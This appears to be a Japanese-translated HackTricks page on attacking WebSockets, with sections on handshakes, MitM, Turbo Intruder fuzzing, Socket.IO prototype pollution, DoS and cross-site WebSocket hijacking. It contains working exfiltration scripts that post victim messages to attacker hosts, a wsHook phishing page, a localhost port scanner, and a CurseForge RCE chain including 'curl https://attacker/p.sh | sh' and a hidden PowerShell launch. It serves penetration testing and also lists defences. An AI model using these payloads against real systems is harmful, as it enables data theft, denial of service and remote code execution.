WebSocket 攻撃
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
WebSocketsとは何か
WebSocket接続は最初のHTTPハンドシェイクを通じて確立され、長時間維持されるように設計されています。これにより、トランザクション型のシステムを必要とせず、いつでも双方向のメッセージングが可能になります。これが、ライブの金融データストリームのように低遅延やサーバー発信の通信を必要とするアプリケーションにおいて、WebSocketsが特に有利である理由です。
WebSocket接続の確立
WebSocket接続の確立に関する詳細な説明はhereで参照できます。要約すると、WebSocket接続は通常クライアント側のJavaScriptから以下のように開始されます:
var ws = new WebSocket("wss://normal-website.com/ws")
wss プロトコルは TLS で保護された WebSocket 接続を示し、ws は 保護されていない 接続を示します。
接続確立時には、ブラウザとサーバーの間で HTTP 上でハンドシェイクが行われます。ハンドシェイクのプロセスは、ブラウザがリクエストを送り、サーバーが応答するという流れで、以下の例に示されています:
ブラウザがハンドシェイクリクエストを送信:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
サーバのハンドシェイク応答:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
接続が確立されると、両方向へのメッセージ交換のために接続は開いたままになります。
WebSocketハンドシェイクの主なポイント:
ConnectionとUpgradeヘッダーは WebSocket ハンドシェイクの開始を示します。Sec-WebSocket-Versionヘッダーは要求される WebSocket プロトコルのバージョンを示します(通常は13)。Sec-WebSocket-Keyヘッダーには Base64 エンコードされたランダム値が送られ、各ハンドシェイクが一意であることを保証します。これはキャッシュされたプロキシによる問題を防ぐのに役立ちます。この値は認証のためのものではなく、レスポンスが誤設定されたサーバやキャッシュによって生成されたものではないことを確認するためのものです。- サーバのレスポンスに含まれる
Sec-WebSocket-AcceptヘッダーはSec-WebSocket-Keyのハッシュであり、サーバが WebSocket 接続を開く意図があることを検証します。
これらの仕組みによりハンドシェイク処理は安全かつ信頼できるものになり、効率的なリアルタイム通信の基盤が整います。
Linux console
websocat を使うと websocket に対して生の接続を確立できます。
websocat --insecure wss://10.10.10.10:8000 -v
あるいは websocat サーバーを作成するには:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket 接続
もし現在のローカルネットワークから clients が HTTP websocket に接続しているのを見つけたら、ARP Spoofing Attack を試して client と server の間で MitM attack を実行することができます。
client が接続を試みているとき、次のものを使用できます:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets 列挙
このツール https://github.com/PalindromeLabs/STEWS を使うと、websockets の既知の vulnerabilities を自動的に検出、フィンガープリント、検索できます。
Websocket Debug tools
- Burp Suite は通常の HTTP 通信と非常に似た方法で Websocket の MitM 通信をサポートします。
- The socketsleuth Burp Suite extension を使うと、Burp 内で Websocket 通信をより良く管理でき、history の取得、interception rules の設定、match and replace ルールの使用、Intruder と AutoRepeater の利用が可能になります。
- WSSiP: 略して “WebSocket/Socket.io Proxy”。Node.js で書かれたこのツールは、クライアントとサーバ間のすべての WebSocket と Socket.IO 通信を capture, intercept, send custom messages し、表示するためのユーザーインターフェースを提供します。
- wsrepl は penetration testing 向けに設計された interactive websocket REPL です。incoming websocket messages and sending new ones を観察・送信するためのインターフェースを提供し、この通信を automating するための使いやすいフレームワークを備えています。
- https://websocketking.com/ は、websockets を使って他のウェブと通信するための web to communicate です。
- https://hoppscotch.io/realtime/websocket は、その他の通信/プロトコルと同様に、websockets を使って他のウェブと通信するための web to communicate を提供します。
Decrypting Websocket
Websocket Lab
In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation.
Websocket Fuzzing
The burp extension Backslash Powered Scanner now allows to fuzz also WebSocket messages. You can read more infromation abou this here.
WebSocket Turbo Intruder (Burp extension)
PortSwigger’s WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components:
- Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines.
- HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends.
Basic script pattern to fuzz a WS endpoint and filter relevant responses:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(...) のようなデコレータを使い、単一メッセージが複数のレスポンスを引き起こす場合のノイズを低減する。
HTTPの背後でWSをブリッジする (HTTP Middleware)
永続的なWS接続をラップし、HTTPボディをWSメッセージとして転送して、HTTP scannersによる自動テストを可能にする:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
その後、HTTPをローカルに送信します; body は WS メッセージとして転送されます:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
これにより、WS バックエンドを制御しつつ、「興味深い」イベント(例: SQLi errors、auth bypass、command injection behavior)をフィルタリングできます。
Socket.IO handling (ハンドシェイク、ハートビート、イベント)
Socket.IO は WS の上に独自のフレーミングを追加します。必須クエリパラメータ EIO(例: EIO=4)で検出してください。Ping (2) と Pong (3) でセッションを維持し、会話は "40" で開始してから 42["message","hello"] のようにイベントを emit します。
Intruder の例:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP アダプタのバリアント:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
server-side prototype pollution を Socket.IO 経由で検出
PortSwiggerの安全な検出手法に従い、次のようなpayloadを送信してExpressの内部を汚染してみてください:
{"__proto__":{"initialPacket":"Polluted"}}
If greetings or behavior change (e.g., echo includes “Polluted”), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See:
- sinks/gadgets と chaining ideas を確認するには NodeJS – proto & prototype Pollution をチェックする。
WebSocket race conditions with Turbo Intruder
デフォルトのエンジンは 1 つの接続でメッセージをバッチ処理する(スループットは良いがレースには不利)。THREADED エンジンを使用して複数の WS 接続を生成し、ペイロードを並列に発射してロジックレース(double‑spend、token reuse、state desync)を引き起こす。サンプルスクリプトから始め、config() で並行度を調整する。
- Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
ヘッダで巨大なペイロード長を宣言するが本体を送らない WS フレームを作成する。一部の WS サーバは長さを信頼してバッファを事前割当するため、Integer.MAX_VALUE に近い値を設定すると Out‑Of‑Memory を引き起こし、リモートの未認証 DoS を発生させる可能性がある。例のスクリプトを参照。
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput> - WS Logger を有効にして内部 ID を使ってメッセージをキャプチャ/相関させる。
- 複雑なアダプタでメッセージ ID の処理を調整するために
Connectionのinc*/dec*ヘルパーを使用する。 @PingPong/@PongのようなデコレータやisInteresting()のようなヘルパーはノイズを減らしセッションを維持する。
Operational safety
高レートの WS fuzzing は多くの接続を開き、1 秒あたり数千のメッセージを送信する可能性がある。Malformed フレームや高レートは実際の DoS を引き起こす可能性がある。許可された環境でのみ使用すること。
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, 通称 cross-origin WebSocket hijacking, は WebSocket ハンドシェイクに影響する Cross-Site Request Forgery (CSRF) の特定のケースとして認識される。この脆弱性は WebSocket ハンドシェイクが HTTP cookies のみで認証し、CSRF tokens や同等の保護策が存在しない場合に発生する。
攻撃者は脆弱なアプリケーションに対してクロスサイトの WebSocket 接続を開始する malicious web page をホストすることでこれを悪用できる。その結果、この接続は被害者のアプリケーションのセッションの一部として扱われ、セッション処理における CSRF 保護の欠如を突くことになる。
この攻撃が成立するための要件は次の通り:
- websocket の認証が cookie based であること
- cookie が攻撃者のサーバからアクセス可能であること(通常これは
SameSite=Noneを意味し)、Firefox で Firefox Total Cookie Protection が有効でないこと、Chrome で blocked third-party cookies がブロックされていないこと - websocket サーバが接続の Origin をチェックしないこと(またはこれを回避できること)
Also:
- 認証がローカル接続(localhost またはローカルネットワーク)に基づく場合、現在の保護ではこれを禁止していないため攻撃は will be possible となる(詳細は more info here を参照)
Origin check disabled in Gorilla WebSocket (CheckOrigin always true)
Gorilla WebSocket サーバでは、CheckOrigin を常に return true に設定すると任意の Origin からのハンドシェイクを受け入れる。WS エンドポイントが 認証がない 場合、被害者のブラウザから到達可能な任意のページ(インターネットまたはイントラネット)はソケットをアップグレードしてクロスサイトでメッセージの読み取り/送信を開始できる。
<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>
影響: 任意の Origin が受け入れられ、エンドポイントが認証をスキップする場合、ユーザーの認証情報なしでストリームされたデータ(例: 取得されたメール/通知)の real-time exfiltration が可能になる。
簡単な攻撃
注意:確立する ときに websocket 接続では cookie が 送信されます (サーバーへ)。
その server は、送信された cookie に基づいて各 specific な user を彼の websocket 送信された cookie に基づく session と relate している可能性があります。
もし、例えば ユーザーに msg として “READY” が送られたときに websocket server がそのユーザーの 会話の履歴を返す 仕様であれば、接続を確立する simple XSS(被害ユーザーを認可するために cookie が 自動的に 送信される)により 送信する “READY” を行うことで、その 会話 の履歴を 取得 できてしまいます.:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie を別のサブドメインで
In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ では、攻撃者が通信が行われているドメインのサブドメイン内でサブドメインで任意の Javascript を実行することに成功しました。サブドメインだったため、cookieは送信されており、さらにWebsocket が Origin を正しくチェックしていなかったため、通信が可能になり、そこから tokens を盗むことができました。
ユーザーからデータを盗む
なりすまししたいウェブアプリケーション(例えば .html ファイル)をコピーし、websocket 通信が行われているスクリプト内に次のコードを追加します:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
まず、wsHook.jsファイルをhttps://github.com/skepticfx/wshookからダウンロードし、web ファイルのあるフォルダ内に保存してください.
Webアプリケーションを公開してユーザーを接続させると、websocketを介して送受信されたメッセージを盗むことができます:
sudo python3 -m http.server 80
CSWSH 対策
CSWSH攻撃は、ユーザーが悪意あるページに接続し、そのページがwebsocket接続を開いてユーザーが既に接続しているWebページへリクエストを送り、リクエストがユーザーのcookiesを送信することで攻撃者として認証されてしまう、という事実に基づきます。
現在、これは非常に簡単に防げます:
- Websocket server checking the origin: websocketサーバーは常にどこから接続しているか(origin)をチェックし、予期しないページからの接続を防ぐべきです。
- Authentication token: 認証をcookieに基づかせる代わりに、攻撃者が知らないサーバー生成のトークン(例: anti-CSRF token)を用いてwebsocket接続を認証することができます。
- SameSite Cookie attribute:
SameSiteがLaxまたはStrictに設定されたCookiesは外部の攻撃者ページから被害者サーバーへ送信されないため、cookieベースの認証は成功しません。なお、Chromeはこのフラグが指定されていないCookieに対してデフォルトでLaxを設定するようになり、デフォルトでより安全になっています。ただし、Cookie作成後最初の2分間は値がNoneになるため、その短時間は脆弱になります(将来的にこの挙動が変更される見込みがあります)。 - Firefox Total Cookie Protection: Total Cookie ProtectionはCookieを作成されたサイトごとに分離することで動作します。基本的に各サイトが独自のCookieストレージパーティションを持ち、サードパーティがユーザーの閲覧履歴を結び付けるのを防ぎます。これにより、攻撃者サイトはcookiesにアクセスできなくなり、CSWSHが利用不能になります。
- Chrome third-party cookies block: これにより、
SameSite=Noneの場合でも認証済みユーザーのcookieがwebsocketサーバーへ送信されるのを防げる可能性があります。
Localhost WebSocketの悪用とブラウザによるポート探索
Desktop launchersはしばしばヘルパー(例: CurseForgeの CurseAgent.exe)を起動し、127.0.0.1:<random_port> でJSON-RPC WebSocketsを公開します。ブラウザはループバックソケットに対して SOPを強制しない ため、任意のWebページがハンドシェイクを試みることができます。エージェントが任意の Origin 値を受け入れ二次認証を省略する場合、IPCインターフェースはJavaScriptから直接遠隔制御可能になります。
公開されているメソッドの列挙
プロトコルの契約を学ぶために正規のセッションをキャプチャします。例えばCurseForgeは {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} のようなフレームを送出し、ここで name がRPCメソッド、args がGUID、解像度、フラグなどの構造化オブジェクトを含みます。形がわかれば、注入したページから直接 createModpack、minecraftGetDefaultLocation などの権限のあるタスクを呼び出せます。
ブラウザベースのポート探索
ヘルパーがランダムな高位ポートにバインドするため、エクスプロイトはまずWebSockets経由でlocalhostをブルートフォースします。Chromium系ブラウザはスロットリング前に約16kの失敗したアップグレードを許容するため、エフェメラルポート範囲を走査するのに十分です。Firefoxは数百回の失敗でクラッシュやフリーズしがちなので、実用的なPoCsはしばしばChromiumをターゲットにします。
簡易ブラウザスキャナー
```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```接続がhandshakeを通過してプロトコル固有のデータを返したら、そのsocketをRPCチェーンに再利用する。
JSON-RPCメソッドを連鎖してRCEへ
The CurseForge exploitは認証不要の2つの呼び出しを連鎖させる:
createModpack→ ユーザー操作なしで新しいMinecraftInstanceGuidを返す。minecraftTaskLaunchInstance→ そのGUIDを起動し、AdditionalJavaArguments経由で任意のJVMフラグを受け付ける。
JNI/JVMの診断オプションは即利用可能なRCEプリミティブを提供する。例えば、metaspaceを制限してcrashを強制し、error hookを利用してcommand executionを行う:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."
Unixのターゲットではペイロードを /bin/sh -c 'curl https://attacker/p.sh | sh' に差し替えるだけでよい。アプリケーションコードに触れられない場合でも、JVM CLI を制御できれば動作する。
この “create resource → privileged launch” パターンはアップデーターやランチャーでよく見られる。メソッド(1)がサーバーで管理される識別子を返し、メソッド(2)がその識別子を使ってコードを実行したりプロセスを起動したりする場合は、ユーザー制御の引数を注入できないか確認すること。
レースコンディション
WebSocketsにおけるレースコンディションも存在します。詳しくはこちらを参照してください。
その他の脆弱性
As Web Sockets are a mechanism to サーバー側とクライアント側へデータを送る仕組みであるため、サーバーやクライアントがその情報をどのように扱うかによって、Web Sockets経由のユーザー入力を使用してXSS、SQLi、その他の一般的なweb脆弱性を悪用できる場合がある。
WebSocket Smuggling
この脆弱性は、リバースプロキシの制限を回避させることで(実際にはそうでなくても)websocket通信が確立されたと信じ込ませることを可能にする場合がある。これにより攻撃者が隠されたエンドポイントにアクセスできる可能性がある。詳細は以下のページを参照:
参考
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
- When WebSockets Lead to RCE in CurseForge
- Two CVEs, Zero Ego: A Mailpit Story
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


